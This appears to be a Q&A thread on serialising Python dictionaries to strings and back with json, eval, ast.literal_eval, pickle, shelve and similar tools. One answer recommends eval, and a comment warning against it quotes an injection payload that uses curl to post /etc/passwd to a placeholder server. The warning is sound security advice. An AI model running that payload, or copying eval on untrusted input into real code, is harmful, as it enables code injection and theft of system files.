418

I am writing a program that stores data in a dictionary object, but this data needs to be saved at some point during the program execution and loaded back into the dictionary object when the program is run again. How would I convert a dictionary object into a string that can be written to a file and loaded back into a dictionary object? This will hopefully support dictionaries containing dictionaries.

0

12 Answers 12

458

The json module is a good solution here. It has the advantages over pickle that it only produces plain text output, and is cross-platform and cross-version.

import json
json.dumps(dict)
15
  • 2
    I will be taking a look at this module as well. Both json and pickle seem easy enough to use, so it will come down to things such as cross-platform support. Thanks
    – AJ00200
    Commented Dec 28, 2010 at 16:11
  • 5
    Pickle tends to be seen as rather deprecated at this point. I always use json for things like this. Being (relatively) human readable is a BIG plus much of the time. Commented Dec 28, 2010 at 16:17
  • 52
    You should add a simple example to allow users see how to do that. Commented Sep 23, 2015 at 11:01
  • 1
    @TylerEaves Can you provide example how it should be done.
    – Bob
    Commented Sep 11, 2016 at 9:43
  • 2
    :foreheadslap: don't forget the import json like I did! Commented Feb 4, 2019 at 23:31
264

If your dictionary isn't too big maybe str + eval can do the work:

dict1 = {'one':1, 'two':2, 'three': {'three.1': 3.1, 'three.2': 3.2 }}
str1 = str(dict1)

dict2 = eval(str1)

print(dict1 == dict2)

You can use ast.literal_eval instead of eval for additional security if the source is untrusted.

8
  • 25
    I am not really prepared to deal with the possible exploits this could introduce into the code. I don't know what problems json or pickle might have, but I know for a fact that eval would be dangerous in this case.
    – AJ00200
    Commented Dec 29, 2010 at 3:26
  • 6
    @AJ00200: and the ast.literal_eval alternative I mentioned?. From the Python help: "Safely evaluate an expression node or a string containing a Python expression. The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None. This can be used for safely evaluating strings containing Python expressions from untrusted sources without the need to parse the values oneself."
    – PabloG
    Commented Dec 30, 2010 at 13:15
  • 2
    The ast.literal_eval option is indeed much better, but probably not better than using a json library. Recommending use of eval on what will likely be untrusted data is an enormous security concern. eval is almost never the correct answer and can have catastrophic consequences if misused, something it seems likely a casual reader of this answer may do.
    – kingsfoil
    Commented Sep 14, 2021 at 17:15
  • 1
    If the dictionary above comes from an untrusted data source (such as when processing an HTTP request) the programmer has exposed the server at the shell level. (For instance "import os; os.system('curl -X POST --data-binary @/etc/passwd <server>')" if eval'd will leak the /etc/passwd file) It may also be possible to do this by injecting the payload into value in the dictionary if it takes in user data. The only time it would be safe to use eval here is if - The dictionary itself is not from an unstrusted source - The dictionary contains no user defined data So probably never.
    – kingsfoil
    Commented Sep 14, 2021 at 17:41
  • 1
    Be careful using this. Please edit, to reduce security risks (warning header or alike)
    – PythoNic
    Commented Oct 31, 2022 at 8:39
213

I use json:

import json

# convert to string
input_ = json.dumps({'id': id_ })
    
# load to dict
my_dict = json.loads(input_) 
31

Why not to use Python 3's inbuilt ast library's function literal_eval. It is better to use literal_eval instead of eval

import ast
str_of_dict = "{'key1': 'key1value', 'key2': 'key2value'}"
ast.literal_eval(str_of_dict)

will give output as actual Dictionary

{'key1': 'key1value', 'key2': 'key2value'}

And If you are asking to convert a Dictionary to a String then, How about using str() method of Python.

Suppose the dictionary is :

my_dict = {'key1': 'key1value', 'key2': 'key2value'}

And this will be done like this :

str(my_dict)

Will Print :

"{'key1': 'key1value', 'key2': 'key2value'}"

This is the easy as you like.

15

Use the pickle module to save it to disk and load later on.

2
  • 2
    @extraneon Actually, it is an answer to the question. It converts it to a string somewhere and writes it to a file. I don't have to do the actual conversion or file writing as it is all encapsulated by pickle.
    – AJ00200
    Commented Dec 28, 2010 at 16:02
  • In fact, it is completely possible to use Pickle to create the serialized string without writing it to a file. shelve depends on this, after all, since it will store the pickled strings in a database instead. Commented Mar 21 at 4:07
11

Convert dictionary into JSON (string)

import json 

mydict = { "name" : "Don", 
          "surname" : "Mandol", 
          "age" : 43} 

result = json.dumps(mydict)

print(result[0:20])

will get you:

{"name": "Don", "sur

Convert string into dictionary

back_to_mydict = json.loads(result) 
4

In Chinese language you should do the following adjustments:

import codecs
fout = codecs.open("xxx.json", "w", "utf-8")
dict_to_json = json.dumps({'text':"中文"},ensure_ascii=False,indent=2)
fout.write(dict_to_json + '\n')
2
  • 3
    This would be a better answer if you explained how the code you provided answers the question.
    – pppery
    Commented May 2, 2020 at 23:34
  • This doesn't answer the question; it addresses a tangentially-related issue that might come up in the same context, for some users. Setting a text encoding for the file may be necessary for many reasons (not just the text language), and it's a separate issue from converting the data to text. Commented Jan 24, 2023 at 10:17
4

You may find the json.dumps() method needs help handling some object types.

Credit goes to the top answer of this post for the following:

import json
json.dumps(my_dictionary, indent=4, sort_keys=True, default=str)
3

I think you should consider using the shelve module which provides persistent file-backed dictionary-like objects. It's easy to use in place of a "real" dictionary because it almost transparently provides your program with something that can be used just like a dictionary, without the need to explicitly convert it to a string and then write to a file (or vice-versa).

The main difference is needing to initially open() it before first use and then close() it when you're done (and possibly sync()ing it, depending on the writeback option being used). Any "shelf" file objects create can contain regular dictionaries as values, allowing them to be logically nested.

Here's a trivial example:

import shelve

shelf = shelve.open('mydata')  # open for reading and writing, creating if nec
shelf.update({'one':1, 'two':2, 'three': {'three.1': 3.1, 'three.2': 3.2 }})
shelf.close()

shelf = shelve.open('mydata')
print shelf
shelf.close()

Output:

{'three': {'three.1': 3.1, 'three.2': 3.2}, 'two': 2, 'one': 1}
3

If you care about the speed use ujson (UltraJSON), which has the same API as json:

import ujson
ujson.dumps([{"key": "value"}, 81, True])
# '[{"key":"value"},81,true]'
ujson.loads("""[{"key": "value"}, 81, true]""")
# [{u'key': u'value'}, 81, True]
1

I use yaml for that if needs to be readable (neither JSON nor XML are that IMHO), or if reading is not necessary I use pickle.

Write

from pickle import dumps, loads
x = dict(a=1, b=2)
y = dict(c = x, z=3)
res = dumps(y)
open('/var/tmp/dump.txt', 'w').write(res)

Read back

from pickle import dumps, loads
rev = loads(open('/var/tmp/dump.txt').read())
print rev
2
  • You should really use b flag when opening file here. Commented Jul 21, 2012 at 16:50
  • 1
    I could have been more explicit. However dumps() defaults to protocol 0, which is an ascii protocol. That is why 'rb' is not necessary IMHO.
    – Gerard
    Commented Feb 22, 2013 at 9:59
1

I figured out the problem was not with my dict object it was the keys and values that were of RubyString type after loading it with RubyMarshl 'loads' method

So i did this:

dic_items = dict.items()
new_dict = {str(key): str(value) for key, value in dic_items}

Not the answer you're looking for? Browse other questions tagged or ask your own question.